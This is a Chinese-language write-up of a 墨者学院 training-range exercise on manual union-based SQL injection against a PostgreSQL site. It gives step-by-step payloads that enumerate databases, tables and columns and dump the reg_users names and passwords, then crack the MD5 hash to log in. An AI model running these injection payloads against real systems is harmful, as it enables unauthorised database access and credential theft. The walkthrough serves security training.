本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(PostgreSQL数据库)。
地址:http://124.70.71.251:44679/new_list.php?id=1(注意地址已失效仅供参考)
首先第一步,看是否存在注入点,构造Payload:
http://124.70.71.251:44679/new_list.php?id=1 and 1=2
回显没有显示数据,代表“and 1=2”语句拼接到了后端数据库查询语句当中。
接下来我们就开始猜解后端收据库能够返回多少个字段。
使用order by构造Payload:
http://124.70.71.251:44679/new_list.php?id=1 order by 4
Order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。
下面将order by 4 改成 order by 5 来查看回显。
发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个。
下面就要开始检测这4个字段当中哪些字段可以被前端显示出来。
使用union 查询来构造Payload “http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select 'null',null,null,null”通过前端页面是否显示null字符来判断第一个字段为回显数据字段。
http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select 'null',null,null,null
通过测试发现只有第二第三个字段是前端回显数据字段。这样我们就可以在这两个字段当中来查询我们想要的得到的数据。
例如得到当前数据库名称(current_database())和当前用户(current_user)以及数据库的版本(version())。
接下来就可以构造Payload爆出所有的数据库。Payload:
http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database
其中string_agg(datname,',')是将查询到的数据库名用“,”拼接起来,pg_database存储了所有的数据库名。
接下来就开始爆数据库的表名了。
构造payload “http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'”或者“?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables where schemaname='public'”或者“?id=1 and 1=2 union select null,null,string_agg(table_name,','),null from information_schema.tables where table_schema='public'”。
http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables where schemaname='public'
http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select null,null,string_agg(table_name,','),null from information_schema.tables where table_schema='public'
其中pg_tables,pg_stat_user_tables,information_schema.tables存储了所有的表名,public是一种模式,Postgresql 查表的限制都是public。
此时我们已经得到了表,下面就开始查询字段,由于查询到的第二个表名带有“user”,我们就先查询它。
构造payload “?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'”
http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
其中information_schema.columns为一个存放了所有表字段的一张表。
查询到字段以后,最后一步就是爆出数据了。
构造payload “?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users”
http://124.70.71.251:44679/new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
这样最终我们就可以获得数据了,将密码进行MD5解密(md5在线解密破解,md5解密加密),返回登录页进行登录,划倒页面最下端就可以看到KEY了。